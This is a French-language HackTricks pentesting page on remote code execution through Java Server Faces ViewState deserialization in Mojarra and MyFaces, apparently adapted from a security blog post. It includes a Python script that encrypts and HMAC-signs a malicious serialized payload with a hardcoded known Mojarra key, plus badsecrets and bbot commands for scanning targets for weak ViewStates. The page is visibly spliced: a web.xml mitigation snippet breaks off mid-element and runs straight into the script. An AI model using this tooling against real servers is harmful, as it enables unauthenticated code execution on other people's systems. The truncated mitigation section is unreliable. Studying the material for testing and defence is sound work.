hacktricks/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
2023-06-03 13:10:46 +00:00

18 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introduction

Après avoir examiné les RCEs à travers les bibliothèques JSON mal configurées, nous avons commencé à analyser les ViewStates des implémentations JSF. JavaServer Faces (JSF) est une technologie d'interface utilisateur (UI) pour la création d'interfaces utilisateur Web avec des composants réutilisables. JSF est principalement utilisé pour les applications d'entreprise et une implémentation JSF est généralement utilisée par une application Web qui s'exécute sur un serveur d'applications Java tel que JBoss EAP ou WebLogic Server. Il existe deux implémentations bien connues de la spécification JSF :

  • Oracle Mojarra (implémentation de référence JSF)
  • Apache MyFaces

Portée

Cet article de blog se concentre sur les deux implémentations JSF 2.x : Oracle Mojarra (implémentation de référence) et Apache MyFaces. Les anciennes implémentations (JSF 1.x) sont également susceptibles d'être affectées par les vulnérabilités décrites dans ce post. (JSF 2.0.x a été initialement publié en 2009, la version actuelle est 2.3.x).

L'état du ViewState

Une différence entre JSF et les technologies Web similaires est que JSF utilise des ViewStates (en plus des sessions) pour stocker l'état actuel de la vue (par exemple, quelles parties de la vue doivent être affichées actuellement). Le ViewState peut être stocké sur le serveur ou le client. Les ViewStates JSF sont généralement automatiquement intégrés dans les formulaires HTML en tant que champ masqué avec le nom javax.faces.ViewState. Ils sont renvoyés au serveur si le formulaire est soumis.

ViewState côté serveur

Si le ViewState JSF est configuré pour se trouver sur le serveur, le champ masqué javax.faces.ViewState contient un identifiant qui aide le serveur à récupérer l'état correct. Dans le cas de MyFaces, cet identifiant est un objet Java sérialisé !

ViewState côté client

Si le ViewState JSF est configuré pour se trouver sur le client, le champ masqué javax.faces.ViewState contient un objet Java sérialisé qui est au moins codé en Base64. Vous avez peut-être réalisé à ce stade que c'est une route potentielle vers la catastrophe ! C'est peut-être l'une des raisons pour lesquelles les ViewStates JSF sont aujourd'hui chiffrés et signés avant d'être envoyés au client. Les dangers des objets Java sérialisés

En 2015, lors de la conférence AppSec California, Gabriel Lawrence et Chris Frohoff ont présenté un exposé intitulé Marshalling Pickles (how deserializing objects can ruin your day). Cette présentation a mis en lumière des problèmes oubliés avec la sérialisation d'objets Java et a conduit à la découverte de plusieurs vulnérabilités graves d'exécution de code à distance (RCE).

Malheureusement, cela a conduit certaines personnes à croire que la vulnérabilité pouvait être atténuée en supprimant/mettant à jour certaines versions de Apache Commons Collections. Une action qui peut en effet aider mais ne résout pas la cause profonde du problème : la désérialisation de données non fiables (CWE 502). En d'autres termes :
L'utilisation d'une version de la bibliothèque Apache Commons Collections "vulnérable" ne signifie pas que l'application est vulnérable, et l'absence d'une telle version de bibliothèque ne signifie pas que l'application n'est pas vulnérable.

Cependant, après qu'un pirate malveillant ait fermé et crypté les systèmes de la San Francisco Municipal Transportation Agency via une "Mad Gadget"/"Apache Commons Collections Deserialization Vulnerability", Google a lancé Operation Rosehub. L'objectif de l'opération Rosehub était de trouver autant de projets open source Java que possible qui utilisaient une version de collections commons "amicale pour les attaquants" en tant que dépendance et de soumettre des demandes de tirage aux propriétaires de projets afin que ces projets cessent d'utiliser des versions problématiques de collections commons dans de nouvelles versions.

L'attaque sur le ViewState

Supposons que nous avons une application Web avec une page de connexion basée sur JSF :

JSF based login

Cette page de connexion a un ViewState qui n'est ni chiffré ni signé. Donc, lorsque nous regardons sa source HTML, nous voyons un champ masqué contenant le ViewState : ViewState MyFaces non chiffré :

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

Si vous décodez le ViewState ci-dessus en utilisant Base64, vous remarquerez qu'il contient un objet Java sérialisé. Ce ViewState est renvoyé au serveur via POST lorsque le formulaire est soumis (par exemple, en cliquant sur Connexion). Maintenant, avant que le ViewState ne soit renvoyé au serveur, l'attaquant remplace le ViewState par son propre ViewState malveillant en utilisant un gadget qui est déjà sur le classpath du serveur (par exemple, InvokerTransformer de commons-collections-3.2.1.jar) ou même un gadget qui n'est pas encore connu du public. Avec ledit gadget malveillant placé dans le ViewState, l'attaquant spécifie les commandes qu'il veut exécuter sur le serveur. La flexibilité de ce qu'un attaquant peut faire est limitée par les pouvoirs des gadgets disponibles sur le classpath du serveur. En cas d'utilisation de InvokerTransformer, l'attaquant peut spécifier les commandes de ligne de commande qui doivent être exécutées sur le serveur. L'attaquant dans notre exemple a choisi de démarrer une calculatrice sur l'interface utilisateur de notre serveur Linux.

Après que l'attaquant a envoyé son formulaire modifié au serveur, l'implémentation JSF tente de désérialiser le ViewState fourni. Maintenant, même avant que la désérialisation du ViewState ne soit terminée, la commande est exécutée et la calculatrice est démarrée sur le serveur :

calculatrice démarrée via un ViewState JSF

Tout s'est passé avant que l'implémentation JSF ne puisse examiner le ViewState et décider qu'il n'était pas bon. Lorsque le ViewState a été jugé invalide, une erreur est généralement renvoyée au client comme "Vue expirée". Mais alors il est déjà trop tard. L'attaquant avait accès au serveur et a exécuté des commandes. (La plupart des attaquants du monde réel ne lancent pas une calculatrice, mais ils déploient généralement un shell distant, qu'ils utilisent ensuite pour accéder au serveur.)

=> Tout cela démontre une vulnérabilité très dangereuse d'exécution de code à distance (RCE) non authentifiée.

(Le même scénario d'attaque contre JSF tel que décrit ci-dessus a déjà été présenté et démontré dans la présentation de 2015 (pages 65 à 67) : Marshalling Pickles tenue par Frohoff et Lawrence.)

Les préconditions pour une attaque réussie

Maintenant, quels sont les ingrédients d'une catastrophe ?

  • ViewState non chiffré (ou possession de la clé de chiffrement)
  • Gadget sur le classpath du serveur
  • Dans le cas de Mojarra : ViewState configuré pour résider sur le client
  • Dans le cas de MyFaces : ViewState configuré pour résider sur le client ou le serveur

Examinons ces points en relation avec les deux implémentations JSF.

Oracle Mojarra (implémentation de référence JSF)

Comme mentionné précédemment, Oracle Mojarra est l'implémentation de référence JSF (RI) mais peut ne pas être connue sous ce nom. Elle peut être connue sous le nom de Sun JSF RI, reconnue avec le nom de package java com.sun.faces ou avec le nom de jar ambigu jsf-impl.jar.

Mojarra : ViewState non chiffré

Voici la chose : Mojarra n'a pas chiffré et signé le ViewState côté client par défaut dans la plupart des versions de 2.0.x et 2.1.x. Il est important de noter qu'un ViewState côté serveur est la valeur par défaut dans les deux implémentations JSF, mais un développeur pourrait facilement changer la configuration pour utiliser un ViewState côté client en définissant le paramètre javax.faces.STATE_SAVING_METHOD sur client. Le nom du paramètre ne révèle en aucun cas que le fait de le changer en client introduit de graves vulnérabilités d'exécution de code à distance (par exemple, un ViewState côté client pourrait être utilisé dans des applications Web en cluster).

Bien que le chiffrement du ViewState côté client soit la valeur par défaut dans Mojarra 2.2 et les versions ultérieures, ce n'était pas le cas pour les branches 2.0.x et 2.1.x. Cependant, en mai 2016, les développeurs de Mojarra ont commencé à rétroporter le chiffrement du ViewState côté client par défaut vers 2.0.x et 2.1.x lorsqu'ils ont réalisé que les ViewStates non chiffrés conduisaient à des vulnérabilités d'exécution de code à distance.

Ainsi, au moins la version 2.1.29-08 (publiée en juillet 2016) de la branche 2.1.x et la version 2.0.11-04 (également publiée en juillet 2016) de la branche 2.0.x ont le chiffrement activé par défaut.

Lorsque nous avons analysé les bibliothèques Mojarra, nous avons remarqué que Red Hat publie également des versions de Mojarra pour les branches 2.1.x et 2.0.x, la dernière étant 2.1.29-jbossorg-1 et 2.0.4-b09-jbossorg-4. Comme les deux versions étaient sans chiffrement ViewState par défaut, nous avons contacté Red Hat et ils ont rapidement créé Bug 1479661 - JSF client side view state saving deserializes data dans leur bugtracker avec les conseils d'atténuation suivants pour la branche 2.1.x :

Une application Web vulnérable doit avoir défini javax.faces.STATE_SAVING_METHOD sur "client" pour activer l'enregistrement de l'état côté client. La valeur par défaut sur Enterprise Application Platform (EAP) 6.4.x est "serveur".

Si javax.faces.STATE_SAVING_METHOD est défini sur "client", une atténuation pour ce problème consiste à chiffrer la vue en définissant com.sun.faces.ClientStateSavingPassword dans le fichier web.xml de l'application :

  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>

#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
	cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
	enc_payload = cipher.encrypt(payload)
	return enc_payload

def hmac_sig(enc_payload,key):
	hmac_sig = hmac.new(key, enc_payload, sha1)
	hmac_sig = hmac_sig.digest()
	return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
	print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
	with open(sys.argv[1], "rb") as f:
		payload = f.read()
		f.close()
	print(YELLOW + "[+] Encrypting payload")
	print(YELLOW + "  [!] Key : JsF9876-\n")
	enc_payload = encrypt(payload,key)
	print(YELLOW + "[+] Creating HMAC signature")
	hmac_sig = hmac_sig(enc_payload,key)
	print(YELLOW + "[+] Appending signature to the encrypted payload\n")
	payload = b64encode(enc_payload + hmac_sig)
	payload = parse.quote_plus(payload)
	print(YELLOW + "[*] Final payload : {}\n".format(payload))
	with open(sys.argv[2], "w") as f:
		f.write(payload)
		f.close()
	print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

Détection de clé connue avec Badsecrets

Badsecrets est une bibliothèque capable de détecter l'utilisation de clés cryptographiques connues en examinant les produits qu'elles produisent et en les comparant à une liste de clés connues ou faibles. Son module Jsf_viewstate est capable de détecter les Java Server Faces ViewStates créés avec des clés connues sur Mojarra et MyFaces, ainsi que les ViewStates non protégés ou compressés.

La façon la plus rapide de l'utiliser est avec l'outil d'exemple cli.py comme suit:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=

S'il trouve une correspondance, il listera également la plateforme (Mojarra ou MyFaces), l'algorithme de chiffrement utilisé et si la compression a été utilisée ou non, ce qui est essentiel pour l'exploitation.

Pour rechercher des viewstates vulnérables à grande échelle, en conjonction avec l'énumération des sous-domaines, le module badsecrets BBOT peut être utilisé :

bbot -f subdomain-enum -m badsecrets -t evil.corp

Réflexions finales

La plupart des faits sur les JSF ViewStates et leurs dangers présentés dans ce billet de blog ne sont pas exactement nouveaux, mais il semble qu'ils n'aient jamais été présentés de manière aussi condensée. Cela a montré une fois de plus que des changements de configuration apparemment inoffensifs peuvent conduire à des vulnérabilités graves.

=> L'un des problèmes semble être qu'il n'y a pas assez de transfert de connaissances entre les chercheurs en sécurité et les développeurs qui utilisent et configurent réellement des bibliothèques qui peuvent être dangereuses lorsqu'elles sont configurées de certaines manières.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥